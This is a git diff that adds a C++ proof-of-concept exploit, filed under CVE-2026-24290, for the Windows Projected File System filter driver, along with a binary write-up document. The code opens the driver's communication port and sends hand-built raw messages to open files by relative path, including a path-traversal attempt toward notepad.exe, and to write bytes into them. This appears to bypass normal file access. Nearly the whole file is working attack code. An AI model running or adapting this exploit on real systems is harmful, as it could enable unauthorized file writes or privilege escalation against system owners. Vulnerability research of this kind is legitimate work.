diff --git a/CVE-2026-24290/PrjFltTest5.cpp b/CVE-2026-24290/PrjFltTest5.cpp new file mode 100644 index 0000000..8ab61a3 --- /dev/null +++ b/CVE-2026-24290/PrjFltTest5.cpp @@ -0,0 +1,423 @@ +// FltTest.cpp : This file contains the 'main' function. Program execution begins and ends there. +// + +#include +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + +PWSTR gProcessPath = NULL; +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; + + +DWORD CompleteCommandWorker(int CommandId); + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot(LPCWSTR szRootName = NULL) { + + HRESULT hr; + //const wchar_t* rootName = LR"(C:\virtRoot)"; + const wchar_t* rootName = szRootName; + + RemoveDirectoryW(rootName); + + //if (!CreateDirectoryW(rootName, nullptr)) + //{ + // hr = HRESULT_FROM_WIN32(GetLastError()); + // wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + // return; + //} + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + + +HRESULT MyStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + printf("MyStartEnumCallback\n"); + //PatchLib(); + //CompleteCommandWorker(0); + return S_OK; +} + +HRESULT MyEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + printf("MyEndEnumCallback\n"); + //Sleep(1000); + return S_OK; +} + + +int gIndex = 0; +HRESULT MyGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + //Sleep(3000); + //printf("Index=%d\n", ++gIndex); + //printf("MyGetEnumCallback\n"); + //CompleteCommandWorker(callbackData->CommandId); + //PatchLib(); + return S_OK; +} + +HRESULT MyGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + //getchar(); + return S_OK; +} + +HRESULT MyGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + return S_OK; +} + +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT StartVirtualizatioInstance(LPCWSTR szRootName = NULL) { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = MyStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = MyEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = MyGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = MyGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = MyGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = nullptr; + callbackTable.NotificationCallback = nullptr; + callbackTable.CancelCommandCallback = nullptr; + + HRESULT hr; + //const wchar_t* rootName = LR"(C:\virtRoot)"; + const wchar_t* rootName = szRootName; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + nullptr, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return 0; + } + + gInstanceHandle = instanceHandle; + + return instanceHandle; +} + + + + +struct _PRJ_MSG_IN_HEADER +{ + int MessageType; + int InputBufferSize; +}; + + +struct _PRJ_VIR_INSTANCE_INFO +{ + GUID virtualizationInstanceID; + int Tag; +}; + + +struct _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA +{ + ULONG DataSize; + int _4; + _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; + char _1c[60]; + ULONG DesiredAccess; + ULONG RelPathOffset; + USHORT RelPathLength; + WCHAR RelBuffer[MAX_PATH + 1]; +}; + +struct _PRJ_MSG_OPEN_FILE_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA Data; +}; + +struct _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA +{ + int MessageType; + int Size; + int Status; + UUID FileId; +}; + +GUID GetInstanceId() { + GUID InstanceId = { 0 }; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + + return InstanceId; + } + InstanceId = InstanceInfo.InstanceID; + + return InstanceId; +} + +HANDLE OpenPort(const wchar_t* rootName) { + + + CreateVirtualizationRoot(rootName); + StartVirtualizatioInstance(rootName); + PrintInstanceId(); + + HANDLE hPort = NULL; + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = GetInstanceId(); + wcscpy_s(Context.szVolume, rootName); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + + return hPort; + +} + +UUID PrjOpenFileHandler(HANDLE hPort) +{ + + DWORD InputBufferLength = 0x1000; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_OPEN_FILE_HANDLER Message = { 0 }; + + memset(&Message, 0, sizeof(Message)); + + Message.Header.MessageType = 8; + Message.Header.InputBufferSize = sizeof(Message); + Message.Data.DataSize = sizeof(_PRJ_MSG_OPEN_FILE_HANDLER_IN_DATA); + + Message.Data.VirInstanceInfo.Tag = 0x9000001C; + Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); + Message.Data.DesiredAccess = GENERIC_READ; + Message.Data.RelPathOffset = 0x62; + Message.Data.RelPathLength = MAX_PATH; + wcscpy_s(Message.Data.RelBuffer, L"..\\windows\\notepad.exe"); + wcscpy_s(Message.Data.RelBuffer, L"1\\ARP.exe"); + //wcscpy_s(Message.Data.RelBuffer, L"New folder (2)"); + + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + printf("FilterSendMessage hResult:%x\n", hResult); + + _PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_OPEN_FILE_HANDLER_OUT_DATA*)OutputBuffer; + + OLECHAR* guidString; + StringFromCLSID(pOutData->FileId, &guidString); + wprintf(L"FileId: %s\n", guidString); + + return pOutData->FileId; +} + + +struct _PRJ_MSG_WRITE_FILE_HANDLER_IN_DATA +{ + ULONG Size; + char _Padding1[4]; + _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; + char _Padding3[4]; + char _14[56]; + UUID FileId; + LARGE_INTEGER ByteOffset; + ULONG Length; + char _Padding2[4]; + PVOID pDataBuffer; +}; + + +struct _PRJ_MSG_WRITE_FILE_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_WRITE_FILE_HANDLER_IN_DATA Data; +}; + +struct _PRJ_MSG_WRITE_FILE_HANDLER_OUT_DATA +{ + int MessageType; + int Size; + int Status; +}; + +void PrjWriteFileHandler(HANDLE hPort, UUID FileId) +{ + + DWORD InputBufferLength = 0x1000; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_WRITE_FILE_HANDLER Message = { 0 }; + + memset(&Message, 0, sizeof(Message)); + + Message.Header.MessageType = 1; + Message.Header.InputBufferSize = sizeof(Message); + Message.Data.Size = sizeof(_PRJ_MSG_WRITE_FILE_HANDLER_IN_DATA); + + Message.Data.VirInstanceInfo.Tag = 0x9000001C; + Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); + Message.Data.FileId = FileId; + Message.Data.ByteOffset.QuadPart = 0; + Message.Data.Length = 0x10; + Message.Data.pDataBuffer = malloc(0x10); + memset(Message.Data.pDataBuffer, 'B', 0x10); + + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + printf("FilterSendMessage hResult:%x\n", hResult); + + _PRJ_MSG_WRITE_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_WRITE_FILE_HANDLER_OUT_DATA*)OutputBuffer; + + + return; +} + +LONG DeleteDirectory(LPCWSTR szDir) +{ + SHFILEOPSTRUCTW fos = { 0 }; + + // delete the folder and everything inside + fos.wFunc = FO_DELETE; + fos.pFrom = szDir; + fos.fFlags = FOF_NO_UI; + return SHFileOperation(&fos); +} + + +int wmain(int argc, WCHAR* argv[]) +{ + + //CreateDirectoryW(L"c:\\virtRoot\\", nullptr); + //DeleteDirectory(L"c:\\virtRoot\\1"); + //CreateDirectoryW(L"c:\\virtRoot\\1", nullptr); + + //getchar(); + + + const wchar_t* rootName = LR"(C:\virtRoot)"; + HANDLE hPort = OpenPort(rootName); + + + + HANDLE hFile = CreateFileW(L"c:\\virtRoot\\1\\1.txt", GENERIC_ALL, 7, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + + UUID FileId = PrjOpenFileHandler(hPort); + + PrjWriteFileHandler(hPort, FileId); + + getchar(); + + return 0; +} \ No newline at end of file diff --git a/CVE-2026-24290/PrjFltTest5_write.docx b/CVE-2026-24290/PrjFltTest5_write.docx new file mode 100644 index 0000000..c06d94c Binary files /dev/null and b/CVE-2026-24290/PrjFltTest5_write.docx differ